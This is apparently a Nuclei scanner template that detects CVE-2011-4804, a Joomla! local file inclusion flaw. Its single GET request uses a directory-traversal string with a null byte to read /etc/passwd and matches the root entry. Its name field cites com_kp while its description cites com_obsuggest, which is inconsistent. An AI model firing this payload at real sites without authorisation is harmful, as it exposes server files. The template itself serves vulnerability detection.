id: CVE-2011-4804
info:
name: Joomla! Component com_kp - 'Controller' Local File Inclusion
author: daffainfo
severity: high
description: A directory traversal vulnerability in the obSuggest (com_obsuggest) component before 1.8 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
remediation: Upgrade to a supported version.
reference:
- https://www.exploit-db.com/exploits/36598
- https://www.cvedetails.com/cve/CVE-2011-4804
tags: cve,cve2011,joomla,lfi
classification:
cve-id: CVE-2011-4804
requests:
- method: GET
path:
- "{{BaseURL}}/index.php?option=com_kp&controller=../../../../../../../../../../../../etc/passwd%00"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200
# Enhanced by mp on 2022/02/18